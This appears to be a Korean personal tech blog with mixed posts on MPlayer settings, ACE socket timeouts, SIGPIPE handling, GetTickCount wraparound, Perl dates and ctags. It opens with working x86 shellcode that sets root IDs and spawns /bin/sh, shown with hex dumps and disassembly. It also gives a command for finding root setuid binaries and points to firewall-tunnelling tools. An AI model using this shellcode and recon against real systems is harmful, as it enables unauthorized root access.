$ cat priv_shell.s
BITS 32
global _start

_start:
;setresuid(uid_t ruid, uid_t euid, uid_t suid)
xor ebx, ebx  ; root ruid = 0
xor ecx, ecx  ; root euid = 0
xor edx, edx ; root suid = 0
xor eax, eax
mov al, 0xa4 ; setresuid call number = 0xa4(164)
int 0x80

;int execve(const char * filename, char * const argv[], char * const envp[])
; execve("/bin//sh", ["/bin//sh", 0x0], [ 0x0 ]);

xor eax, eax  ; eax = 0
push eax
push '//sh'
push '/bin'   ; "/bin//sh", 0x0

mov ebx, esp  ; const char * filename = "/bin//sh", 0x0
push eax
mov edx, esp  ; char * const envp[] = [ 0 ]
push ebx
mov ecx, esp  ; char * const argv[] = [ "/bin//sh", 0 ]
mov al, 11
int 0x80


$ xxd priv_shell
0000000: 31db 31c9 31d2 31c0 b0a4 cd80 31c0 5068  1.1.1.1.....1.Ph
0000010: 2f2f 7368 682f 6269 6e89 e350 89e2 5389  //shh/bin..P..S.
0000020: e1b0 0bcd 80                             .....

$ cat tiny_shell.s
BITS 32
global _start

_start:
;int execve(const char * filename, char * const argv[], char * const envp[])
; execve("/bin//sh", ["/bin//sh", 0x0], [ 0x0 ]);

xor eax, eax  ; eax = 0
push eax
push '//sh'
push '/bin'   ; "/bin//sh", 0x0

mov ebx, esp  ; const char * filename = "/bin//sh", 0x0
push eax
mov edx, esp  ; char * const envp[] = [ 0 ]
push ebx
mov ecx, esp  ; char * const argv[] = [ "/bin//sh", 0 ]
mov al, 11
int 0x80

$ ndisasm -B32 tiny_shell
00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  89E2              mov edx,esp
00000012  53                push ebx
00000013  89E1              mov ecx,esp
00000015  B00B              mov al,0xb
00000017  CD80              int 0x80

$ xxd tiny_shell
0000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e350  1.Ph//shh/bin..P
0000010: 89e2 5389 e1b0 0bcd 80                   ..S......


Mplayer 콘솔용 설정 파일
$ vi ~/.mplayer/config
unicode=yes
#subcp=euc-kr
subcp=cp949

fontconfig=1
font=Eunjin              ## fontconfig를 1로 맞추었다면 fc-list 명령으로 나온 영어 폰트명을 적는다.

#fontconfg=0
#font=/usr/share/fonts/TTF/UnPilgi.ttf       ## fontconfig가 0이면 폰트경로를 적어준다.

#af=volnorm     ## 사운드 노멀라이즈 - 성능저하가 심함.

subfont-autoscale=2  ## 동영상의 해상도에 비례 하여 글자의 크기를 맞춰줍니다 (1=높이, 2=넓이, 3=대각선)
#subfont-outline=3      ## 테두리의 두께를 정해줍니다.
#ffactor=1.5                ## 테두리 약간 투명


단축키 몇개
소리 음량 / or 9 (작게) * or 0(크게),
현재 보고있는 시간 :  o 두세번 눌러보면 나옴
전체 화면 : f 한번더 누르면 원래화면

find /-user root -perm -4000

위의 것은 root로 setuid가 걸린 파일들을 찾아준다.

여기서 에러가 화면에 출력되어 짜증나는데 에러가 나오지않게 할려면

끝에 2> /dev/null 를 추가하면된다.


find /-user root -perm -4000 2> /dev/null
Server
 * recv_n에 10초간 타임아웃을 주고 대기함
        char    buff[1024];
        size_t  recvLen = 0;
        ACE_Time_Value  timeout(10);
        int ret = peer.recv_n( buff, sizeof(buff)-1, &timeout, &recvLen );
        ACE_DEBUG( (LM_DEBUG,
                ACE_TEXT("ret[%d] recvLen[%d] : [%.*C]\n"),
                ret, recvLen, recvLen, buff) );
Client
 * 접속하자 마자 첫 메세지("Hello ")를 보내고(send_n)
 * 5초후 (sleep 5초) 나머지 데이터("World!")를 보내고 접속을 끊는다.
        peer.send_n( "Hello ", 6 );

        ACE_OS::sleep( 5 );
        peer.send_n( "World!" , 6 );
        peer.close();
 * 결과 :
 *  recv_n는 첫 메세지를 받고 timeout(10초)동안 블럭이 걸려있었으며
 *  5초후 나머지 데이터를 받고 0을 반환후에 종료하였습니다.
 *  받은 데이터 사이즈는 recv_n 4번째 인자로 받습니다.
$ ./recv
ret[0] recvLen[12] : [Hello World!]
서버 소스 Recv.C
/*
 * 10초간 recv를 걸어놓고 받는것을 테스트함.
 *
 * 상대방에서는(send.C) 접속하자 마자 첫 메세지를 보내고
 * 5초간 sleep를 준다음 나머지 데이터를 보내고 접속을 끊는다.
 *
 * 결과 :
 *  recv_n는 첫 메세지를 받고 timeout(10초)동안 블럭이 걸려있었으며
 *  5초후 나머지 데이터를 받고 0을 반환후에 종료하였습니다.
 *  받은 데이터 사이즈는 recv_n 4번째 인자로 받습니다.
 */
#include <ace/SOCK_Stream.h>
#include <ace/INET_Addr.h>
#include <ace/SOCK_Acceptor.h>
#include <ace/Time_Value.h>
#include <ace/Log_Msg.h>

int ACE_TMAIN( int, ACE_TCHAR * [] )
{
        ACE_INET_Addr   myaddr(9090);

        ACE_SOCK_Acceptor       acceptor;

        if( acceptor.open( myaddr ) == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("acceptor.open()")), 1 );
        }

        ACE_OS::sleep(5);
        ACE_SOCK_Stream peer;
        if( acceptor.accept( peer ) == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("acceptor.accept()")), 1 );
        }

        char    buff[1024];
        size_t  recvLen = 0;
        ACE_Time_Value  timeout(10);
        int ret = peer.recv_n( buff, sizeof(buff)-1, &timeout, &recvLen );
        if( ret == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("recv_n()")), 1 );
        }

        ACE_DEBUG( (LM_DEBUG, ACE_TEXT("ret[%d] recvLen[%d] : [%.*C]\n"), ret, recvLen, recvLen, buff) );
        peer.close();

        return 0;
}
클라이언트 소스
send.C
/*
 * 서버에 접속하자 마자 첫 메세지("Hello ")를 보내고
 * 5초간 sleep를 준다음 나머지 데이터( "World!\n")를 보내고 접속을 끊는다.
 */

#include <ace/SOCK_Stream.h>
#include <ace/INET_Addr.h>
#include <ace/SOCK_Connector.h>
#include <ace/Time_Value.h>
#include <ace/Log_Msg.h>
#include <ace/OS.h>

int ACE_TMAIN( int, ACE_TCHAR * [] )
{
        ACE_INET_Addr   svrAddr(9090, ACE_TEXT("127.0.0.1"));

        ACE_SOCK_Connector      conn;

        ACE_SOCK_Stream peer;
        if( conn.connect( peer, svrAddr ) == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("connect()")), 1 );
        }

        char    buff[1024];
        ACE_OS::strcpy( buff, "Hello " );
        if( peer.send_n( buff, ACE_OS::strlen(buff) ) == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("send_n() 2")), 1 );
        }

        ACE_OS::sleep( 5 );
        ACE_OS::strcpy( buff, "World!" );
        if( peer.send_n( buff, ACE_OS::strlen(buff) ) == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("send_n() 1")), 1 );
        }

        peer.close();

        return 0;
}

결과
$ ./recv
ret[0] recvLen[12] : [Hello World!]
서버가 죽는 현상이 발생하였고
SIGPIPE, 혹은 Broken pipie. 메세지가 나온다면

이미 닫힌 소켓에 데이터를 보내기를 했을것이다.

SIGPIPE를 검색해 보면 알겠지만 파이프가 끊겼을 경우 발생하는 signal이다.
아래 참고 사이트를 보면 알것이다.

만약에 SIGPIPE를 받아도 죽지않고 그대로 진행하게 할려면 해당 시그널을 무시해보리는 방법이 있다.
무시하는 방법은

고전적인 signal 함수 사용
signal(SIGPIPE, SIG_IGN);    // sigpipe 무시.

sigaction을 사용
struct sigaction act;
act.sa_handler = SIG_IGN;
sigemptyset( &act.sa_mask );
act.sa_flags = 0;
sigaction( SIGPIPE, &act, NULL );

ACE 프레임 워크를 사용한다면
ACE_Sig_Action sig_act (SIG_IGN); 
sig_act.register_action (SIGPIPE);

를 하면된다.

만약 send를 한후에 SIGPIPE에러를 인지 확인할려면
errno 값이 EPIPE 값인지 확인하면된다

참고 사이트
http://kelp.or.kr/korweblog/stories.php?story=02/03/13/6152214
http://blog.naver.com/PostView.nhn?blogId=hyungii&logNo=130081645365

* GetTickCount는 시스템이 시작되고 나서의 시간을 밀리 초로 반환하는 함수입니다.

* GetTickCount는 시스템이 시작되고 나서 49.7일이 지나면 0에서 다시 시작합니다.

 * GetTickCount가 오버플로우되어 0으로 값이 설정되었더라도 예전값과 - 연산을 해도 크게 지장은 없습니다.
  DWORD 형이 부호가 없기 때문에  현재값 - 예전값 은 49.7일 이전 값이 아니면 옳은 값을 반환합니다.

** 0x00000001 - 0x00000000 = 1
** 0x00000000 - 0xFFFFFFFF = 0x00000000 + (0xFFFFFFFF 2의보수) = 0x00000000 + (0x00000001) = 1


 간단하게 4bit 로 계산을 해보겠습니다.

4bit의 최대값은
1111 (2진수) == 15(10진수)

4bit의 최소값은
0000 (2진수) == 0(10진수)

최소값 - 최대값 을 계산해보면
1111의 2의 보수값은
1111의 역수 0000 더하기 1 = 0001

2진수) 0000 - 1111 = 0000 + 0001 = 0001
10진수) 0 - 15 = 0 + 1 = 1

따라서 값은 1이 나온다.

마찬가지로 5 - 15(4비트 최대값)는 6이 된다.
0101 - 1111 = 0101 + 0001 = 0110(6)

14 - 15 = 15
14 - 15(4비트 최대값) = 1110 - 1111 = 1110 + 0001 = 1111(15)


gnu date가 있으면 편하겠지만 없으면 perl을 이용하면된다.

아래는 오늘로 부터 15일 전 날짜를 출력한 것이다.

# 15일전 날짜 출력
$ perl -e 'my ($d, $m, $y) = (localtime(time-15*24*60*60))[3,4,5];  \
    printf "%04d%02d%02d", $y+1900, $m+1, $d;'

15*24*60*60 이부분을 바꾸면된다.


출력 결과
$ date
2010년 12월 22일 수요일 오후 05시 39분 55초

$ perl -e 'my ($d, $m, $y) = (localtime(time-15*24*60*60))[3,4,5];  printf "%04d%02d%02d", $y+1900, $m+1, $d;'
20101207
.inl 을 C++로 인식시키는 방법입니다.

인식시킬 언어를 알아냄
$ ctags --list-maps
Asm      *.asm *.ASM *.s *.S *.A51 *.29[kK] *.[68][68][kKsSxX] *.[xX][68][68]
Asp      *.asp *.asa
Awk      *.awk *.gawk *.mawk
Basic    *.bas *.bi *.bb *.pb
BETA     *.bet
C        *.c
C++      *.c++ *.cc *.cp *.cpp *.cxx *.h *.h++ *.hh *.hp *.hpp *.hxx *.C *.H *.inl
C#       *.cs
Cobol    *.cbl *.cob *.CBL *.COB
Eiffel   *.e
Erlang   *.erl *.ERL *.hrl *.HRL
Fortran  *.f *.for *.ftn *.f77 *.f90 *.f95 *.F *.FOR *.FTN *.F77 *.F90 *.F95
HTML     *.htm *.html
Java     *.java
JavaScript *.js
Lisp     *.cl *.clisp *.el *.l *.lisp *.lsp *.ml
Lua      *.lua
Make     *.mak *.mk [Mm]akefile
Pascal   *.p *.pas
Perl     *.pl *.pm *.plx *.perl
PHP      *.php *.php3 *.phtml
Python   *.py *.pyx *.pxd *.scons
REXX     *.cmd *.rexx *.rx
Ruby     *.rb *.ruby
Scheme   *.SCM *.SM *.sch *.scheme *.scm *.sm
Sh       *.sh *.SH *.bsh *.bash *.ksh *.zsh *.ebuild *.eclass
SLang    *.sl
SML      *.sml *.sig
SQL      *.sql
Tcl      *.tcl *.tk *.wish *.itcl
Vera     *.vr *.vri *.vrh
Verilog  *.v
Vim      *.vim
YACC     *.y

# .inl .h .cpp 파일을 c++언어로 인신시켜 tags파일을 만든다.
$ ctags --langmap=C++:.inl.h.cpp -R *

설정파일 셋팅

  • ~/.ctags 파일을 만든후 옵션을 적어 넣는다.
    --langmap=C++:.c++.cc.cp.cpp.cxx.h.h++.hh.hp.hpp.hxx.C.H.inl
    

네이트온이나 메신저를 이용한 터널링을 하실려면 다른곳을 찾아보세요^^

이것은 방화벽으로 막혀있는 서버를 뚫는 방법을 설명합니다.

MyEn Tunnel을 사용하여 방화벽 안 서버(211.0.0.30) 에 ftp로 접속하는것을 가정하였습니다.

클릭하셔서 보셔야 제대로 보일것입니다.



MyEnTunnel 링크

http://nemesis2.qx.net/pages/MyEnTunnel


Plink 링크
http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe

두개 툴을 동일 디렉토리에 둔후 MyEnTunnel를 실행하세요.

+ Recent posts